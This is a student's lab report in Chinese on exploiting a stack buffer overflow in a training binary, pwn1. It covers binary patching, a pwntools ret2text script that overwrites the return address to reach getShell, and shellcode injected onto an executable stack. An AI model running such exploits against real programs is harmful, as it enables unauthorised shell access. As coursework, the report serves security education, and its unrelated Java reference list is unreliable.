20232937文兆宇 2023-2024-2 《网络攻防实践》实践九报告
1.实践内容
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
2.实践过程
默认用户名(yaoxi)
查看主函数
gets函数 栈溢出点
有后门,一眼re2text
2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
这里用ida直接patch ,把调用foo变成调用后门就行,
后门地址为0x0804847D
patch后:
保存运行,直接拿到权限
2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
用gdb进行调试,下断点在主函数,走到gets
可以看到ebp的地址为xxxxe8 输入的地址为xxxxac
需要覆盖0x1c的垃圾数据
编写脚本
from pwn import *
#context.log_level = "debug"
io=process("./pwn1")
binsh=0x804847D
#gdb.attach(io,'b *0x8048491')
payload=b'a'*(0x1c)+b'yaox'+p32(binsh)
io.sendline(payload)
io.interactive()
已经getshell
这里再用gdb跟踪一下观察,在ret的时候返回地址已经变成binsh了
2.3注入一个自己制作的shellcode并运行这段shellcode
用系统生成一个32位的shellcode
asm(shellcraft.sh())
from pwn import *
#context.log_level = "debug"
io=process("./pwn1")
print(shellcraft.sh())
print(asm(shellcraft.sh()))
#binsh=0x804847D
#gdb.attach(io,'b *0x8048491')
#payload=b'a'*(0x1c)+b'yaox'+p32(binsh)
#io.sendline(payload)
#io.interactive()
有RWX 直接读shellcode就行
这里把shellcode写到栈里,(为了方便 关闭aslr 来读栈地址)
from pwn import *
#context.log_level = "debug"
io=process("./pwn1")
#print(shellcraft.sh())
#print(asm(shellcraft.sh()))
binsh=asm(shellcraft.sh())
#gdb.attach(io,'b *0x8048491')
payload=b'a'*(0x1c)+b'yaox'+p32(0xffffd110)+binsh
print(payload)
io.sendline(payload)
io.interactive()
3.学习中遇到的问题及解决
- 问题1:靶机链接不上桥接网络
- 问题1解决方案:重新配置该虚拟机的ip地址,并重启,可以成功连接到网络
4.实践总结
通过这次实验,我学习了二进制文件的简单知识,学会了gdb的使用和栈溢出漏洞,十分开心。
参考资料
- 《Java程序设计与数据结构教程(第二版)》
- 《Java程序设计与数据结构教程(第二版)》学习指导
- …